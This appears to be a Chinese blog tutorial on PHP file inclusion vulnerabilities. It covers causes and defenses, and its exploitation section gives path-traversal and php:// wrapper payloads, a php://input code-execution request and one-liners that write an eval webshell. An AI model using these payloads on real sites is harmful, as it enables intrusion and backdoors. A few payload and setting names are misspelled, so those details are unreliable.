[渗透测试] 任意文件包含漏洞

任意文件包含漏洞

漏洞概述

漏洞成因

包含的概念:通常,程序开发人员会把函数方法 ”封装“ 到文件中,这样在需要使用该功能的时候,就可以直接调用(提高代码重用性、减少代码量)。调用文件的过程被称为包含

造成任意文件包含漏洞是原因:程序开发人员为了代码的灵活性,常常会将包含文件的路径设为变量,来进行动态调用,所以被包含文件的路径客户端会被黑客攻击利用。

文件包含漏洞在PHP的Web应用中居多,在其他脚本程序中较少。

文件包含语句

语句特点
include()多次包含,多次执行;
如果包含失败,脚本产生警告,继续执行
include_once()多次包含,一次执行;
如果包含失败,脚本产生警告,继续执行
require()多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行
require_once()多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行
  1. include:
<?
$fp = "../phpinfo.php";

include($fp);
  1. include_once:
<?php
$fp = "../phpinfo.php";

include_once($fp);
  1. require:
<?php
$fp = "../phpinfo.php";

require $fp;
  1. require_once:
<?php
$fp = "../phpinfo.php";

require_once $fp;

文件包含相关配置

文件包含是PHP的基本功能之一。分为本地文件包含远程文件包含

本地文件包含:读取和打开本地文件

远程文件包含:远程加载文件

通过php.ini中的选项进行配置。

allow_url_fopen = On/Off		#通过远程方式打开文件
allow_url_include = On/Off		#通过远程方式包含文件

动态包含

动态包含可以使包含语句更加的灵活。

$fp = @$_GET['filepath'];
@include $fp;

本地文件包含

本地文件包含(LFI,Local File Include)通过本地路径访问到的文件。

?filepath=../phpinfo.php

远程文件包含

远程文件包含(RFI,Remote File Include)通过远程路径访问到的文件。

?filepath=ftp://192.168.109.101/phpinfo.php

漏洞原理

使用文件包含功能时,有动态包含语句,会产生文件包含漏洞的风险。如果实现动态包含的参数,Web应用没有进行严格的校验,攻击者可以利用被包含文件的路径,进行攻击。

漏洞危害

  1. 无视文件扩展名读取文件内容

    ?filepath=./a.jpg
    
  2. 无条件解析PHP代码,为图片木马提供出路

    ?filepath=a_yjh_info.jpg
    

漏洞攻防

漏洞利用

  1. 包含图片木马

    使用菜刀进行连接

    http://192.168.109.100/file-include/file-include.php?filepath=a_yjh_info.jpg
    
  2. 读取敏感文件

    前提条件:

    ​ · 目标文件存在(知道目标文件路径)

    ​ · 具有文件的可读权限

    具体方法:

    #相对路径
    ?filepath=../../../../../windows/system32/drivers/etc/hosts
    
    #绝对路径
    ?filepath=c:/windows/system32/drivers/etc/hosts
    
    #使用PHP封装协议
    ?filepath=file://c:windows/system32/drivers/etc/hosts
    

    封装协议说明:

    语句说明
    file://访问本地文件系统
    http://访问HTTP(s)网站
    ftp://访问FTP(s)URLs
    php://访问各个输入/输出流
    zlib://压缩流
    data://数据(RFC 2397)
    glob://查找匹配的文件路径模式
    phar://php归档
    ssh2://Secure Shell 2
    rar://RAR
    ogg://音频流
    expect://处理交互式的流
  3. 读取PHP文件源代码

    利用’ php://fileter '读取

    ?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]
    
  4. 执行PHP命令

    利用‘ php://input ’执行PHP命令

    远程文件包含需要开启

​ 代码示例:

POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.109.100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18


<?php phpinfo();?>
  1. 包含图片马写Shell

    条件:

    ​ 存在文件包含漏洞

    ​ 菜刀不能直接连接

    写shell:

    <?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
    
    <?php file_put_contents('shell.php','<?php $eval($_REQUEST[777])?>')?>
    
  2. 包含日志

    SSH日志、邮件日志、Apache日志、Nginx日志。

漏洞防御

  1. 尽量少的使用动态包含

  2. 严格过滤文件路径

  3. 使用php.ini里的open_baserdir参数来限定文件访问范围

  4. 将参数allow_url_include设置为OFF

案例

MetInfo5.0.4文件包含漏洞

  • 11
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值